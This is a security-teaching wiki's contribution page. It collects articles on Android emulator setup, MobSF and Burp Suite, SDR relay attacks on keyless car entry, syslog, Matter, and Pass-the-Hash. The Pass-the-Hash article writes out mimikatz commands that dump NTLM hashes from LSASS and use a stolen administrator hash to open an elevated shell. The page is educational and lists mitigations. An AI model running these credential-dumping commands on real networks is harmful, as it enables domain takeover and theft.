Elvis Wiki - User contributions [en]

Android Studio: Emulator

2024-07-01T14:23:21Z

Ikramer:

[[File:Android-studio.png|200px|thumb|right|Android Studio Logo]]
== Summary ==

In this documentation, we cover the topic of how to run an Android emulator with Android Studio in Kali Linux.

This is not a detailed description of Android Studio, but only the configuration of a rooted emulator.

== Requirements ==

* Operating System: Kali Linux

== Setup ==

Download the newest version of [https://developer.android.com/studio?hl=de Android Studio Iguana]

Change the working directory to Downloads
<pre>
cd Downloads/
</pre>
Extract Android Studio with tar
<pre>
tar -xzvf android-studio-2023.2.1.25-linux.tar.gz
</pre>
Change the working directory to android-studio/bin
<pre>
cd android-studio/bin
</pre>
Start Android Studio
<pre>
./studio.sh
</pre>

== Create Virtual Device ==

1. On the "Welcome to Android Studio" page, select '''More Actions'''.

2. Go into the '''Virtual Device Manager'''.

3. Click on the '''+''' icon to add a new device.

4. Choose a device based on your preferences. We chose '''Pixel 6 Pro'''.

5. Select an x86 image (we recommend Android 7 or higher) with Google APIs but '''not Google Play''' to use a non-production image. We chose '''Android 9 ("Pie")''', API 28 '''without Google Play'''.

== Set Environment Variables ==

Open the bashrc file
<pre>
nano ~/.bashrc
</pre>
Add to the end of the file the following line:
<pre>
export PATH=$PATH:/home/kali/Android/Sdk/emulator
</pre>
Save & Exit the file.

Execute the bashrc file to make the changes effective:
<pre>
bash
source ~/.bashrc
</pre>
To check if variables are added to PATH.
<pre>
echo $PATH
</pre>

=== Problem Fix ===
If problems appear about missing environment variables, then add these lines to ~/.bashrc & execute the file.
<pre>
export ANDROID_HOME=$HOME/Android/Sdk
export ANDROID_SDK_ROOT=$HOME/Android/Sdk
export PATH=$PATH:$ANDROID_HOME/tools
export PATH=$PATH:$ANDROID_HOME/platform-tools
</pre>

To check if variables are added.
<pre>
echo $PATH
echo $ANDROID_SDK_ROOT
echo $ANDROID_HOME
</pre>

== Run the Virtual Device in the Terminal ==

With the following command, the virtual device should be shown on the screen.
<pre>
emulator -avd <DEVICE-NAME> -writable-system -no-snapshot
</pre>

Example:
<pre>
emulator -avd Pixel_6_Pro_API_28 -writable-system -no-snapshot
</pre>

Now the emulator is ready to go!

=== Errors? ===
If any errors occur with the emulator, most errors can be solved by wiping the data of the device and starting anew.

For this, you have to open Android Studio, select the device manager, and click on "wipe data".

[[File:Wipe-data.png]]

== References ==

* [https://developer.android.com/studio?hl=de Android Studio]
* [https://developer.android.com/studio/run/emulator?hl=de Android Studio Run Emulator]

[[Category:Documentation]]
[[Category:Pentesting]]

Mobile security: Burp Suite and MobSF

2024-04-09T14:54:53Z

Ikramer:

== Mobile Security ==

Mobile security is a crucial aspect of information security that focuses on protecting smartphones, tablets, and other mobile devices from threats and vulnerabilities. It encompasses a range of practices, technologies, and solutions designed to safeguard mobile devices and the data they contain. Two prominent tools used in mobile security are Mobile Security Framework (MobSF) and Burp Suite.

=== Mobile Security Framework (MobSF) ===

==== Overview ====
MobSF is an automated, all-in-one mobile application security testing framework capable of performing static analysis, dynamic analysis, and web API testing. It is open-source and supports both Android and iOS applications.

==== Features ====
* '''Static Analysis:''' MobSF scans the source code of mobile apps to identify security vulnerabilities, insecure code practices, and privacy-related issues.
* '''Dynamic Analysis:''' It runs the application in a controlled environment to monitor its behavior and identify security weaknesses during runtime.
* '''Web API Testing:''' MobSF can assess the security of web APIs used by mobile applications.
* '''Easy Integration:''' It is designed for easy integration with other security tools and continuous integration/continuous deployment (CI/CD) pipelines.
* '''Report Generation:''' Provides detailed and comprehensive reports highlighting security flaws and recommendations for remediation.

==== Use Cases ====
* Security auditing of mobile applications.
* Integrating security testing in the app development lifecycle.
* Training and educational purposes in mobile security.

=== Burp Suite ===

==== Overview ====
Burp Suite is a popular tool for web application security testing. While primarily designed for web applications, it is also highly effective in testing the security of mobile applications, especially those that interact with web services.

==== Features ====
* '''Interception Proxy:''' Allows interception and modification of HTTP/HTTPS traffic between the mobile app and its backend server.
* '''Scanner:''' Automated scanning tool for identifying vulnerabilities.
* '''Intruder:''' A powerful tool for performing customized attacks to test for vulnerabilities.
* '''Repeater:''' Facilitates manual testing by allowing the resending of requests with modified inputs.
* '''Decoder and Comparer:''' Tools for decoding data formats and comparing responses.

==== Use Cases ====
* Intercepting and analyzing traffic between mobile apps and backend services.
* Identifying vulnerabilities in mobile app web interfaces.
* Manual and automated security testing of mobile applications.

=== Integration of MobSF and Burp Suite ===

==== Synergy ====
Integrating MobSF and Burp Suite provides a comprehensive approach to mobile security. MobSF's capabilities in static and dynamic analysis complement Burp Suite's strengths in intercepting and analyzing web traffic. This combination allows for thorough examination of both the client-side and server-side components of mobile applications.

==== Workflow ====

* '''Initial Assessment:''' Use MobSF for an initial static and dynamic analysis of the mobile app.
* '''Traffic Analysis:''' Utilize Burp Suite's interception proxy to analyze and manipulate the traffic between the app and its backend.
* '''Vulnerability Identification:''' Employ Burp Suite's scanning and intrusion tools to identify and exploit web-based vulnerabilities.
* '''Final Report:''' Combine findings from both tools for a comprehensive security assessment report.
== Conclusion ==

The combination of Mobile Security Framework and Burp Suite offers a robust solution for addressing the complexities of mobile security. By leveraging the unique strengths of each tool, security professionals can conduct in-depth security assessments, ensuring the protection of mobile applications against a wide range of threats.

== References ==

* https://portswigger.net/burp/documentation
* https://mobsf.live/
* https://mobsf.github.io/docs/#/

[[Category:Documentation]]
[[Category:Pentesting]]

Software-defined radio (SDR): Relay Attacks

2024-03-12T18:40:49Z

Ikramer:

== Introduction ==

We want to simulate a keyless car hacking situation. Therefore we want to interfere with a connection between a car and a car key during the unlocking process.
The key question is: How does a Passive Keyless Entry (PKE) system works? PKE communication is an electronic locking system which is mainly used for entering cars without the need of a key. The locking system uses passive components (keys) which will be activated by the car. The car constantly transmits its recognition signal, range is about 1.5-3 meters.
One of the most used systems is the so-called “keyless entry system”. Therefore, the car environment is surrounded by periodically low frequency signals about 130 kHz. If the right key is in this zone, the chip is reacting with those low frequencies and is creating an ID with ASK / FSK modulated signals.
Therefore, we got 2 possibilities:

''' 1. The car is sending a LF signal with some kind of “wake up signal”. '''
# The car is sending permanent wake up signals.
# If a “keyless entry key” is near a car which has the keyless entry technology, an “Acknowledgement” will be transmitted to the car.
# If the key and car fits together, an ID check between the car and the key will begin.
# The car is sending an ID to the key – if it fits, the key is transmitting the right key code. If the key code fits to the one of the automotive, the car is opening.
'''2. The car sends a LF signal with a car ID. '''
# Periodically a LF signal is transmitted by the car.
# If a “keyless entry key” is nearby and the ID fits to the one of the car’s, the key transmits the right “key code”. If the key code fits to the car key code, the car is going to open.

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*PandwaRF App for Android. (Must be a device with latest Android version installed)
*Universal Radio Hacker

== Description ==

===Rolling Codes vs. Fixed Codes===

Remote controls send a digital code word to the receiver. If the receiver considers the code as correct, the sender will do the stuff which it is programmed for. For example: opening a door, closing, blocking, holding or locking etc. Simple remote controls use fixed code word. That means the code word which opens the a door today, would open the door some time in the future with the same code word. An attacker who has the right device to capture a code, could easily capture the simple code and send it sometime later to open the door. Some safer systems would use so called "Rolling codes". With rolling codes, hacker would be able to capture a signal, but to retransmit these signal, he need to know the algorithm behind the rolling code in order to open the door because the captured code is used already and therefore deleted in the code algorithm. The rolling code system uses an encryption method which allows the sender and the receiver to use share codewords in to make it harder for the attacker to steal the code.

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License". Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

Side Note: You won´t be able to use PandwaRF to open your car. After long researches and communication with the manufacturer, the car opener function is only allowed for the goverment or law enforcement.

=== Pentesting with HackRF One ===
*Warning: The HackRF One will not be able to transmit on windows
''' Step 1 '''

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions. With dual boot you will be able to use Windows and Kali Linux native simultaneously.

* Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website https://www.kali.org/docs/development/live-build-a-custom-kali-iso/
#Download e.g. Etcher to flash the image on the USB stick to make it bootable https://www.balena.io/etcher/
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website https://www.kali.org/docs/usb/live-usb-install-with-linux/

''' Step 2 '''
* Driver Installation on HackRF One
#Download Zadig https://zadig.akeo.ie/
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh
* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well (Only for Garage Openers), but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]
[[Category:Pentesting]]

Saleae Logic Analyzer Setup

2024-03-12T18:39:50Z

Ikramer:

== Summary ==

This article shows how the Saleae Logic Analyzer is set up.

== Requirements ==

* Operating system: Windows 10
* Software: Logic 2.4.4 (or newer versions)

== Description ==

=== Step 1 ===

Download the software for analyzing the traffic captured on the digital circuit:

* Go to https://www.saleae.com/downloads/
* Click on "Download for Windows"
* The download starts automatically
* Follow the instructions of the installation wizard

=== Step 2 ===

* Connect the wires with the logic analyzer
** The black wires represent GND which are connected to the lower part of the channels
* Connect the Logic Analyzer via USB to the PC or Laptop

=== Step 3 ===

* Open the Logic 2.4.4 (or newer versions)
* The device should connect automatically
* [[File:Logic 2.4.4 Start.png]]

On the right side the 8 channels are listed with colored backgorunds. In this case the Saleae Logic Analyzer 8 provides 8 channels of which each channel can be activated/deactivated individually by clicking the corresponding button. On the navigation bar of the software the category "Capture" is found. When clicking on it, the option "Start/Stop Capture" is shown. After clicking "Start/Stop Capture" the analyzer starts capturing.

[[File:Logic 2.4.4 Capture.png]]

== References ==

* https://www.saleae.com/downloads/
* https://support.saleae.com/getting-started/setup

[[Category:Documentation]]
[[Category:Pentesting]]

Linux Syslog

2024-03-12T18:38:56Z

Ikramer:

== Summary ==

Linux uses the syslog standard for message logging, this allows programms and applications to generate messages that can be captured, processed and stored by the system logger. It eliminates the need for each and every application having to come up with and implement a logging mechanism on their own and also means that logging can be configured and controlled in a centralized location.
Syslog file is one of the importants log files. It contains almost all messages. This file is therefore well suited for the analysis of many problems.

== Requirements ==

A syslog server accepts syslog messages and processes, those messages based on a set of configurable rules.

Traditionally the '''syslogd''' daemon filled this role but many Linux distributions now ship with alternatives such as:

* '''rsyslog''' (rocket-fast system for log processing)
* '''syslog-ng''' (ng stands for next-generation)

== How it works ==

The Syslog Standard uses facilities and severities to categorize messages. Facilities are used to indicate what type of program or what part of the system the message originated from, e.g.
* Facility: messages that are labeled with a kernel facility originate from the Linux kernel.
* Severities on the other hand are used to categorize messages based on their urgency. The severities are emergency, alert, critical, error, warning, notice informational and debug.

{| class="wikitable"
|-
! Code
! Facilities
! Code
! Severities
|-
| 0
| kernel
| 0
| emergency
|-
| 1
| user
| 1
| alert
|-
| 2
| mail
| 2
| critical
|-
| 3
| auth
| 3
| error
|-
| 4
| syslog
| 4
| warning
|-
| 5
| cron
| 5
| notice
|-
| 6
| line printer (lpr)
| 6
| informational
|-
| 7
| network news (nntp)
| 7
| debug
|-
| 8
| unix-toUnix Copy (UUCP)
|-
| 9
| clock
|-
| 10
| security/authorization
|-
| 11
| FTP
|-
| 12
| NTP
|-
| 13
| log audit
|-
| 14
| log alert
|-
| 15
| clock daemon (formerly cron in RFC 3164)
|-
| 16
| local use 0-7 (local0-local7)
|}

A syslog service uses configurable logging rules to determine what to do with the given message, these rules use combinations of facilities and severities. In most cases messages are simply written to a file in the '''/var/log''' directory somewhere but you can do advanced things such as send the messages over the network to a central location. If you want to generate your own log messages for example when you’re writing shell scripts use the '''logger''' command-line utility. To automatically prune files and keep your disks from filling up with old messages use the '''logrotate''' utility.

The following example shows the entries in '''/var/log/syslog''' after starting a Ubuntu 20.04 system further below the entries that occur when connecting a USB stick:

<pre>
Jan 4 06:10:20 bitsf kernel: [ 0.000000] Linux version 5.8.0-53-generic (buildd@lcy01-amd64-012) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #60~20.04.1-Ubuntu SMP Thu May 6 09:52:46 UTC 2021 (Ubuntu 5.8.0-53.60~20.04.1-generic 5.8.18)
Jan 4 06:10:20 bitsf kernel: [ 0.000000] Command line: BOOT_IMAGE=/boot/vmlinuz-5.8.0-53-generic root=UUID=5c80c0a8-2833-4cc9-be7f-6ca343989eb6 ro quiet splash
Jan 4 06:10:20 bitsf kernel: [ 0.000000] KERNEL supported cpus:
Jan 4 06:10:20 bitsf kernel: [ 0.000000] Intel GenuineIntel
Jan 4 06:10:20 bitsf kernel: [ 0.000000] AMD AuthenticAMD
Jan 4 06:10:20 bitsf kernel: [ 0.000000] Hygon HygonGenuine
Jan 4 06:10:20 bitsf kernel: [ 0.000000] Centaur CentaurHauls
Jan 4 06:10:20 bitsf kernel: [ 0.000000] zhaoxin Shanghai
Jan 4 06:10:20 bitsf kernel: [ 0.000000] x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers'
Jan 4 06:10:20 bitsf kernel: [ 0.000000] x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers'
Jan 4 06:10:20 bitsf kernel: [ 0.000000] x86/fpu: Supporting XSAVE feature 0x004: 'AVX registers'
Jan 4 06:10:20 bitsf kernel: [ 0.000000] x86/fpu: xstate_offset[2]: 576, xstate_sizes[2]: 256
Jan 4 06:10:20 bitsf kernel: [ 0.000000] x86/fpu: Enabled xstate features 0x7, context size is 832 bytes, using 'compacted' format.
[...]
Jan 4 06:20:01 bitsf kernel: [ 585.917268] usb 1-1: new high-speed USB device number 2 using ehci-pci
Jan 4 06:20:01 bitsf kernel: [ 586.214302] usb 1-1: New USB device found, idVendor=0781, idProduct=5581, bcdDevice= 1.00
Jan 4 06:20:01 bitsf kernel: [ 586.214306] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
Jan 4 06:20:01 bitsf kernel: [ 586.214309] usb 1-1: Product: Ultra
Jan 4 06:20:01 bitsf kernel: [ 586.214310] usb 1-1: Manufacturer: SanDisk
Jan 4 06:20:01 bitsf kernel: [ 586.214312] usb 1-1: SerialNumber: 4C530001140828116221
Jan 4 06:20:01 bitsf mtp-probe: checking bus 1, device 2: "/sys/devices/pci0000:00/0000:00:11.0/0000:02:03.0/usb1/1-1"
Jan 4 06:20:01 bitsf mtp-probe: bus: 1, device: 2 was not an MTP device
Jan 4 06:20:01 bitsf kernel: [ 586.247843] usb-storage 1-1:1.0: USB Mass Storage device detected
Jan 4 06:20:01 bitsf kernel: [ 586.249017] scsi host33: usb-storage 1-1:1.0
Jan 4 06:20:01 bitsf kernel: [ 586.249296] usbcore: registered new interface driver usb-storage
Jan 4 06:20:01 bitsf kernel: [ 586.255991] usbcore: registered new interface driver uas
Jan 4 06:20:01 bitsf mtp-probe: checking bus 1, device 2: "/sys/devices/pci0000:00/0000:00:11.0/0000:02:03.0/usb1/1-1"
Jan 4 06:20:01 bitsf mtp-probe: bus: 1, device: 2 was not an MTP device
Jan 4 06:20:01 bitsf dbus-daemon[735]: [system] Activating via systemd: service name='net.reactivated.Fprint' unit='fprintd.service' requested by ':1.81' (uid=1000 pid=1742>
Jan 4 06:20:01 bitsf systemd[1]: Starting Fingerprint Authentication Daemon...
Jan 4 06:20:01 bitsf dbus-daemon[735]: [system] Successfully activated service 'net.reactivated.Fprint'
Jan 4 06:20:01 bitsf systemd[1]: Started Fingerprint Authentication Daemon.
Jan 4 06:20:02 bitsf kernel: [ 587.271261] scsi 33:0:0:0: Direct-Access SanDisk Ultra 1.00 PQ: 0 ANSI: 6
Jan 4 06:20:02 bitsf kernel: [ 587.272204] sd 33:0:0:0: Attached scsi generic sg2 type 0
Jan 4 06:20:02 bitsf kernel: [ 587.278328] sd 33:0:0:0: [sdb] 120127488 512-byte logical blocks: (61.5 GB/57.3 GiB)
Jan 4 06:20:02 bitsf kernel: [ 587.286835] sd 33:0:0:0: [sdb] Write Protect is off
Jan 4 06:20:02 bitsf kernel: [ 587.286839] sd 33:0:0:0: [sdb] Mode Sense: 43 00 00 00
Jan 4 06:20:02 bitsf kernel: [ 587.294171] sd 33:0:0:0: [sdb] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
Jan 4 06:20:02 bitsf kernel: [ 587.356378] sdb: sdb1
Jan 4 06:20:02 bitsf kernel: [ 587.387213] sd 33:0:0:0: [sdb] Attached SCSI removable disk
</pre>

== References ==

* https://www.syslog-ng.com/
* https://www.rsyslog.com/

[[Category:Documentation]]
[[Category:Basic]]

Pass-the-Hash (PtH)

2024-03-12T18:37:42Z

Ikramer:

[Disclamer: this Wiki page is just an explanation of how Pass-The-Hash attack works and how it can be carried out and is done only for educational purposes.
The author does not hold any responsibility for any misuse of the information included in this Wiki page and advises not to use it for any illegal actions nor in any way that could be harmful to any person or entity.]

== Introduction ==

Since 1991, when Microsoft introduced the Lan Manager, local Windows networks had a weak point which made it possible for an attacker to authenticate themself as a user in the network if they gained access to a machine in the network. A Windows network consists of several systems, machines and protocols which work together to authenticate a user or a machine in said system. But early Windows iterations came with an authentication mechanism which was insecure and easy to attack once an attacker had an entry point into a Windows network.

With Pass-The-Hash attackers can authenticate themself to a domain server, even if they do not have the real password in plaintext! On a machine under an attackers control, they can read the hash values of all user who logged onto that machine and gain access to files and services the corresponding users would have access to. Once in possession of the password hash, they can exploit a design weakness in the authentication protocols Windows implements to impersonate themself as registered users in the system.

While still all Windows operating systems implement this protocols, they are not configured by default and a system administrator must switch them on intentionally. So, if no mistakes were made during configuration of the Windows local network, the Pass-The-Hash attack should not be feasible anymore.

== Windows network authentication ==

When a user loges onto a Windows network, several systems and protocols need to work together to allow the user access to machines, files and services in the system.

[[File:DomainAuthentication.png|650px]]

=== Local Security Authority Subsystem Service (LSASS) ===

The LSASS is the local authentication service which handles all users and logins on a single machine. When a user enters its credentials, the LSASS authenticates them by either looking up the stored passwords locally, or, when the user wants to log onto a network, communicates with the domain controller to authenticate the user. For authentication in a network it uses the Lan Manager (LM) or later the New Technology Lan Manager (NTLM) to encrypt a challenge send by the domain controller to verify the user.

=== Lan Manager (LM) ===

The Lan Manager was introduced to Windows in 1991 to authenticate users in a local network. Its tasks are to hash the user password and to encrypt the challenge send by the domain controller to authenticate a user. To generate the hash it follows this steps:

# The password gets converted to uppercase.
# The string gets padded to 14 bytes
# and split into two halves which each build a DES key.
# Each key then encrypts a constant.
# The results get concatenated which build the LM hash.

Then to answer the challenge from the domain controller the LM

# pads the Hash to 21 bytes
# which get split into three parts to 7 bytes each.
# Each part is used as a DES key
# to encrypt the challenge.
# The three results get concatenated to the answer.

If the domain controller calculates the same answer, the user now is authenticated in the network.

Even by the time it was introduced, the LM was not considered safe.
Some of the vulnerabilities in its algorithms and protocols were:

*No distinguishing between capital and small letters, i.e., case-insensitive.
*It did not allow long passwords, but only up to 14 chars.
*Only 56 Bit out of 128 Bits were used for the key

=== New Technology LAN Manager (NTLM) ===

1993 Microsoft introduced the NTLM (version 1) to new Windows iterations. It came with a few security improvements like an improved challenge and it didn't transfer the has in plaintext anymore. The most important change though was the use of the MD4 hash function to calculate the password hash.

Three years later, 1996, Microsoft introduced the second version of the NTLM which improved the security further by implementing longer passwords and a once again improved challenge. This new challenge was now calculated as followed:

# The password hash was calculated using the MD4 hash algorithm.
# Username and domain name get concatenated
# and this value gets encrypted using the HMAC-MD5 algorithm with the password hash as a key which results in the NTLM v2 password hash.
# A BLOB gets generated and concatenated with the challenge.
# The result gets encrypted with the HMAC-MD5 algorithm using the NTLM v2 password hash as a key.
# The resulting value is then concatenated with the BLOB and send to the domain controller as the answer.

Although these changes did improve the security of the protocol by helping to mitigate offline relay attacks, but leave NTLMv2 exposed to other NTLMv1 vulnerabilities and therefore still does not meet the standards required today. It still uses the MD4 hash, which by today's standards is not satisfactory, and saves the hashes unsalted on the local machine, before sending it salted over the wire. New authentication suites such as Kerberos help mitigate many of these vulnerabilities. Kerberos adds more security measures such as relying on a third server to authenticate both parties, so the client and the server are certain they are communicating with the correct opposites.

== Pass-The-Hash ==

For the attack to be viable, a few preconditions need to be met:

* The attacker already needs to have access to a vulnerable machine in the network.
* On this machine the attacker needs to have local administrator rights.
* LM or NTLM need to be configured to be used by the LSASS.

=== Accessing the password hash ===

There are a couple of ways to do access a user password hash on a local machine:

* Windows stores hashes of users in the network that logged onto on that machine in a process called Local Security Authority Subsystem Service (lsass.exe). An attacker can read from this running programm to access the password hashes. As soon as the machine shuts down, the hashes are no longer stored.
* The hashes local users are stored in a registry file or also called the Security Account Manager (SAM). This file is always accessible, even after a restart of the machine.
* Sniffing the network for any hashes that are being transferred.

The SAM database does not guarantee access to a network account, so the safest attack route would be to access the password hashes stored in the lsass.exe.
To read out the LSASS process or the SAM, the program needs local admin rights. Thus, the user has to be tricked into executing it with the according rights.

=== Tools ===

There are several tools which can be used to perform the Pass-The-Hash attack. Consequently, two of the most popular tools are introduced :

* Samdump2
* Mimikatz

=== Samdump2 ===

samdump2 tool was designed to get dumps of Windows password hashes, namely Windows XP, NT, and 2k, and as the name suggests it does this by taking a dump of the SAM file using something called syskey, which is a feature in Windows that is supposed to strengthen the SAM database by adding and an additional layer of encryption.

=== Mimikatz ===

[[File:Mimikatz.jpeg|650px]]

Mimikatz, on the other hand, tries to extract hashes, PIN codes, as well as passwords in plain text from memory.
It is a much stronger tool since it allows a wider variety of other attacks that are mainly focused on playing with the weak security of Windows systems that use the protocols mentioned above.
Mimikatz is also one of few tools that got updated after Windows Defender Credential Guard (WDCG) was enabled by default with Windows 10. WDCG made access to the LSASS process extremely difficult.
This concludes the set of tools that are going to be used in the accompanying demonstration of this essay to demonstrate how PtH attack works when using these tools.

=== Passing the hash ===

[[File:PTH_Attack.png|400px]]

After stealing the password hash, the attacker can access every file and service authorised for the user whos password hash they now possess. They now simply answer the domain controllers challenge with the password hash they stole and perfectly impersonate the target user. If the user happens to be an administrator in the domain, the attacker now has full control over the network.

== Mitigation and preventive measures ==

Over the years, many improvements to the vulnerable protocols in question have been released, and more and more studies are being done by Microsoft [5] and other institutions to mitigate this attack.
Some of the mitigation techniques that are mentioned in these studies are:

# Protecting the accounts that have high privileges by adding more restrictions to them like not having email accounts.
# Removing administrative privileges to local accounts and then restricting these accounts to help to prevent the attackers from taking advantage of such accounts.
# Adding firewall rules that would restrict the incoming traffic to the server.
# Correlating Authentication Services.

This is by no means an exhaustive list, simply a guide in the proper direction. Other principles like security by obscurity, by hiding the LSASS memory location, are not viable options in this case. This is due to the fact that the IT security field is so vast and the knowledge of Windows infrastructure so known, that it would be found again very quickly. Additionally, some more recommendations are listed below:

Other recommendations:

#Do not let highly privileged accounts browse the Internet
#Standard users should be removed from the local Administrators group
#Ensure that administrative accounts do not have email addresses
#Update operating system and applications
#Limit the amount of privileged domain accounts and their use
#Domain controllers must be secured and managed

== Demonstration using mimikatz ==

In our scenario, we have two computers that belong to different domains but are inside the same intranet network, let us say one belongs to the administrators' domain, and the second one belongs to the employees' domain.

All that is left now is for someone from the employee domain, to ask someone from the administrators' domain to install something on their PC using their admin account.

When the administrator logs in to the employee's pc, the hash value is saved locally in the LSASS process. Now the attack is ready to be carried out.

Because the employee knows a way to become a local admin he downloads mimikatz, executes it, and types the following:

privilege::debug;

This command grant mimikatz debug rights which are also needed.

sekurlsa::logonpasswords;

This would then show a dump of all the NTLM hashes that are stored on the system, and of course, it also includes the NTLM hash of the domain administrator.

Now the employee can use the information of that admin (username, domain, and NTLM hash) to authenticate to other clients and servers in that domain using mimikatz:

sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NTLM_HASH /run:cmd

After this, a cli should open with administrative privileges and the employee is able to extract any information he or she wants.

Furthermore, the hash value of the password can even be cracked. If the password is not secure enough such as ”123456789”, you can find out the actual password by using a random free password hash cracker on the internet. This is the reason being,
why passwords should be taken much more into consideration.

[[File:Online CrackStationjpeg.jpeg|650px]]

== Conclusion ==

The pass-the-hash attack can be a horrifying attack given what kind of privileges it gives the attacker in the case of a successful attack, but this is not the end of the mitigation methods that were implemented with a regular update to the system it should mitigate the attack and protect servers against it. Also, there is a server lining, in that it pushes forward the security of Windows servers and lets the developers focus on improving them to let system administrators have much more secure servers to deal with. Although , it cannot be ruled out completely that attackers would find new approaches to exploit vulnerabilities in authentication protocols.

== Sources ==

* https://github.com/gentilkiwi/mimikatz
* https://linux.die.net/man/1/samdump2
* https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283
* https://www.microsoft.com/en-us/download/details.aspx?id=36036
* https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/a4f28e01-3df1-4fd1-80b2-df1fbc183f21
* https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2016/2871997?redirectedfrom=MSDN
* https://ieeexplore.ieee.org/document/7474171
* https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-windows-10-39170
* https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/ntlm-user-authentication
*https://www.sans.org/white-papers/33283/

[[Category:Documentation]]
[[Category:Pentesting]]

Matter

2024-03-12T18:37:01Z

Ikramer:

[[File:Matter_logo.jpg|thumb|Logo of Matter<ref name="logo"/>]]

'''Matter''' is an open standard that has been developed by the "Project Connected Home over IP" (CHIP) working group since 2019 and was first published in October 2022. It is intended to enable communication between devices from various manufacturers such as Google, Samsung, Apple and Amazon, thereby extending the boundaries of existing smart home networks.

== Protocol ==

It is an application layer protocol that is based on network protocols such as IPv6, Thread and BLE. Bridges are required to translate the network layers in order to be able to access Thread- or BLE-based devices from IP networks.

The Google Developer Center offers general documentation<ref name="matter-info" /> for Matter, which explains, for example, how a new device can connect to the Matter network.

[[File:Primer-matter-architecture.png|The Matter Stack in the TCP/IP and OSI Model]]

== Matter Virtual Device ==
The Google Developer Center provides resources for the development of Matter-based devices such as a sample app for connecting Matter devices <ref name="sample-app" /> or virtual Matter devices <ref name="virtual-device" /> for testing the interfaces.

A Matter Virtual Device (MVD) is an emulation of a Matter device and simulates the behavior of a device, e.g. switching a light switch on/off.

=== Possibilities ===
The virtual device can be built and started in several ways. A total of three possibilities have been found:

* Standalone
* Docker Image
* GitHub Repository

It turned out that the standalone is the best way to quickly set up an MVD. This requires an environment with a 64-bit x86 processor and at least Debian 11, Ubuntu 20.04 or MacOS.

==== GitHub Repository ====

# git clone https://github.com/project-chip/connectedhomeip
# Initialize the Matter project using "source scripts/activate.sh"
This variant was not pursued further, as the repository is resolved recursively and execution takes a lot of time.

==== Docker Image Repository ====

# docker pull us-docker.pkg.dev/nest-matter/docker-repo/virtual-device-image:latest
This approach downloads a Docker image that is larger than 10GB. Unpacked, it then has more than 30GB and is therefore also not suitable as a fast approach for development with Matter devices.

==== Standalone ====
The standalone Matter device was published relatively recently by Google, but is very easy to set up. Due to its comparatively small size of less than 70MB, it is easy to download and can be up and running within a few minutes.

https://i.imgur.com/Rjqabwb.png

<b>Installation steps (Debian/Ubuntu)</b>
# wget https://dl.google.com/mvd/mvd_1.3.0_amd64.deb
# sudo dpkg -i mvd_1.3.0_amd64.deb
# mvd

A GUI opens with which you can create an MVD.

[[File:MVD-Create.png|500px]]

In the new window, you can configure some settings for the device:

# Device Type - You can simulate several types of smart home devices
# Vendor ID - Unique certified ID for the vendor (possible values in development: <b>0xFFF1, 0xFFF2, 0xFFF3 and 0xFFF4</b>)
# Product ID - Unique certified ID for the product (possible values in development: <b>0x8000 to 0x801F</b>)
